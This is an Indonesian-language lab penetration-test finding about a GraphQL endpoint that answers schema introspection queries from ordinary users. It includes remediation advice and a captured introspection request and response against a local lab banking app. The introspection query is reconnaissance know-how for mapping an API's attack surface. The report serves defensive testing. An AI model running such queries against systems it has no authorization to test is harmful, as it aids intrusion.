Kembali ke indeks

LAB FAIL

Excessive Data Exposure - GraphQL - Schema Introspection

Excessive Data Exposure — GraphQL — Schema Introspection

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor · OWASP A05:2021 - Security Misconfiguration

Kerentanan

[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection

Deskripsi

Endpoint /graphql melayani query introspeksi __schema bagi pengguna terautentikasi biasa. Seluruh tipe, field, dan argumen skema dapat diunduh, termasuk field yang tidak dipakai antarmuka resmi.

Dampak

Low: introspeksi memberi penyerang peta lengkap permukaan serangan GraphQL tanpa perlu menebak nama field. Informasi ini mempercepat penemuan kerentanan lain pada lapisan yang sama; pada pengujian ini, argumen accountNumber yang terungkap dari skema menjadi titik masuk temuan SQL Injection pada resolver transactionSummary. Introspeksi sendiri tidak membocorkan data nasabah.

CWE

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP

A05:2021 - Security Misconfiguration

Skenario

Eksploitasi: query __schema dikirim memakai token pengguna biasa -> seluruh definisi tipe dan field dikembalikan, termasuk resolver transactionSummary beserta argumennya.

Endpoint

POST http://127.0.0.1:5001/graphql

Fitur terdampak

Endpoint GraphQL

Rekomendasi perbaikan

- Matikan introspeksi pada lingkungan produksi. - Terapkan allow-list query (persisted queries) agar hanya operasi yang dikenal dapat dijalankan. - Batasi kedalaman dan kompleksitas query serta terapkan rate limiting. - Pastikan setiap resolver menjalankan pemeriksaan otorisasinya sendiri.

Bukti konsep

  1. (Screenshot 1) EKSPLOITASI: query introspeksi __schema dikirim dengan token pengguna biasa -> seluruh tipe dan field skema dikembalikan, termasuk resolver transactionSummary beserta argumennya.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 94

{"query": "{__schema{queryType{name} types{name fields{name type{name kind ofType{name}}}}}}"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 16837
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:13:04 GMT

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "Query"
      }, 
      "types": [
        {
          "fields": [
            {
              "name": "transactionSummary", 
              "type": {
                "kind": "OBJECT", 
                "name": "TransactionSummaryType", 
                "ofType": null
              }
            }
          ], 
          "name": "Query"
        }, 
        {
          "fields": [
            {
              "name": "scope", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "accountNumber", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "totalTransactions", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "totalVolume", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "inflowTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "outflowTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "netFlow", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "largestTransaction", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "totalLoansGiven", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "pendingLoansCount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "pendingLoansTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "billPaymentTotal", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }, 
            {
              "name": "billPaymentsCount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "byType", 
              "type": {
                "kind": "LIST", 
                "name": null, 
                "ofType": {
                  "name": "TransactionTypeAggregate"
                }
              }
            }, 
            {
              "name": "recentTransactions", 
              "type": {
                "kind": "LIST", 
                "name": null, 
                "ofType": {
                  "name": "TransactionRecordType"
                }
              }
            }
          ], 
          "name": "TransactionSummaryType"
        }, 
        {
          "fields": null, 
          "name": "String"
        }, 
        {
          "fields": null, 
          "name": "Int"
        }, 
        {
          "fields": null, 
          "name": "Float"
        }, 
        {
          "fields": [
            {
              "name": "transactionType", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "count", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "totalAmount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }
          ], 
          "name": "TransactionTypeAggregate"
        }, 
        {
          "fields": [
            {
              "name": "id", 
              "type": {
                "kind": "SCALAR", 
                "name": "Int", 
                "ofType": null
              }
            }, 
            {
              "name": "fromAccount", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "fromUsername", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "toAccount", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "toUsername", 
              "type": {
                "kind": "SCALAR", 
                "name": "String", 
                "ofType": null
              }
            }, 
            {
              "name": "amount", 
              "type": {
                "kind": "SCALAR", 
                "name": "Float", 
                "ofType": null
              }
            }

[... 10837 more bytes not shown ...]
Tangkapan layar

← Kasus sebelumnya: Broken Object Level Authorization - Virtual Cards - Card Operations Kasus berikutnya: Insufficient Session Expiration - Authentication - JWT Lifetime →